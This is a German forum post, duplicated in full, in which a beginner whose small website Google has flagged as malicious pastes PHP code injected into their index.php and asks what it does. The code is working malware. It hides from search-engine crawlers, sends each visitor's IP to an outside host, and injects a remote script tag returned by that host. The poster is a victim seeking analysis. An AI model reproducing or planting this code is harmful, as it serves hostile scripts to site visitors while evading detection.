Hallo allerseits,
ich bin neu hier und ein PHP-Anfänger und melde mich mit einer Bitte.
Als Freelancer in der Verlagsbranche betreibe ich eine kleine Internetseite mit einem kleinen Blog und ein paar Infos über mich selbst.
Seit heute wird meine Seite bei Google als "bösartige Seite" gelistet. Ich habe mir daraufhin meine Webseite angeschaut und festgestellt, dass in ein gutes halbes Dutzen PHP-Dateien und Javascripte Code eingefügt wurde. Ich habe die Dateien einfach mit sauberen Files aus einem Backup überschrieben - die Seite ist also wieder in Ordnung, wobei ihre Funktionaliät auch gar nicht eingeschränkt war. Abgesehen davon, dass ich nicht weiß, wie der zusätzliche Code in die Dateien gekommen ist verstehe ich auch nicht, was er tut.
Deshalb hier der Code, der in die index.php meiner Webseite eingefügt wurde. Bei Interesse kann ich auch noch den Code aus den anderen Dateien posten. Für einen Hinweis auf die Sicherheitslücke und vor allem auch auf die Funktion des mir rätselhaften Scripts wäre ich dankbar:
<?php
#ef2d49#
if (empty($ie)) {
if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
} else {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
function __url_get_contents($remote_url, $timeout)
{
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' =>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents')) {
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}
if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$ie = "http://thepremiumplace.com/pyzrcdf4.php";
$ie = __url_get_contents($ie."?a=$_ip", 1);
if (strpos($ie, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $ie . '?id=108135056"></script>';
echo $__var_to_echo;
}
}
}
}
#/ef2d49#
?>
Lieben Gruß aus Hamburg
Garamond
ich bin neu hier und ein PHP-Anfänger und melde mich mit einer Bitte.
Als Freelancer in der Verlagsbranche betreibe ich eine kleine Internetseite mit einem kleinen Blog und ein paar Infos über mich selbst.
Seit heute wird meine Seite bei Google als "bösartige Seite" gelistet. Ich habe mir daraufhin meine Webseite angeschaut und festgestellt, dass in ein gutes halbes Dutzen PHP-Dateien und Javascripte Code eingefügt wurde. Ich habe die Dateien einfach mit sauberen Files aus einem Backup überschrieben - die Seite ist also wieder in Ordnung, wobei ihre Funktionaliät auch gar nicht eingeschränkt war. Abgesehen davon, dass ich nicht weiß, wie der zusätzliche Code in die Dateien gekommen ist verstehe ich auch nicht, was er tut.
Deshalb hier der Code, der in die index.php meiner Webseite eingefügt wurde. Bei Interesse kann ich auch noch den Code aus den anderen Dateien posten. Für einen Hinweis auf die Sicherheitslücke und vor allem auch auf die Funktion des mir rätselhaften Scripts wäre ich dankbar:
<?php
#ef2d49#
if (empty($ie)) {
if ((substr(trim($_SERVER['REMOTE_ADDR']), 0, 6) == '74.125') || preg_match("/(googlebot|msnbot|yahoo|search|bing|ask|indexer)/i", $_SERVER['HTTP_USER_AGENT'])) {
} else {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
function __url_get_contents($remote_url, $timeout)
{
if (function_exists('curl_exec')) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $remote_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
$_url_get_contents_data = curl_exec($ch);
curl_close($ch);
} elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
$ctx = @stream_context_create(array('http' =>
array(
'timeout' => $timeout,
)
));
$_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
} elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
$handle = @fopen($remote_url, "r");
$_url_get_contents_data = @stream_get_contents($handle);
} else {
$_url_get_contents_data = __file_get_url_contents($remote_url);
}
return $_url_get_contents_data;
}
}
if (!function_exists('__file_get_url_contents')) {
function __file_get_url_contents($remote_url)
{
if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
$remote_url, $matches)
) {
$protocol = strtolower($matches[1]);
$host = $matches[2];
$path = $matches[3];
} else {
// Bad remote_url-format
return FALSE;
}
if ($protocol == "http") {
$socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
} else {
// Bad protocol
return FALSE;
}
if (!$socket) {
// Error creating socket
return FALSE;
}
$request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
$len_written = @fwrite($socket, $request);
if ($len_written === FALSE || $len_written != strlen($request)) {
// Error sending request
return FALSE;
}
$response = "";
while (!@feof($socket) &&
($buf = @fread($socket, 4096)) !== FALSE) {
$response .= $buf;
}
if ($buf === FALSE) {
// Error reading response
return FALSE;
}
$end_of_header = strpos($response, "\r\n\r\n");
return substr($response, $end_of_header + 4);
}
}
if (empty($__var_to_echo) && empty($remote_domain)) {
$_ip = $_SERVER['REMOTE_ADDR'];
$ie = "http://thepremiumplace.com/pyzrcdf4.php";
$ie = __url_get_contents($ie."?a=$_ip", 1);
if (strpos($ie, 'http://') === 0) {
$__var_to_echo = '<script type="text/javascript" src="' . $ie . '?id=108135056"></script>';
echo $__var_to_echo;
}
}
}
}
#/ef2d49#
?>
Lieben Gruß aus Hamburg
Garamond
Kommentar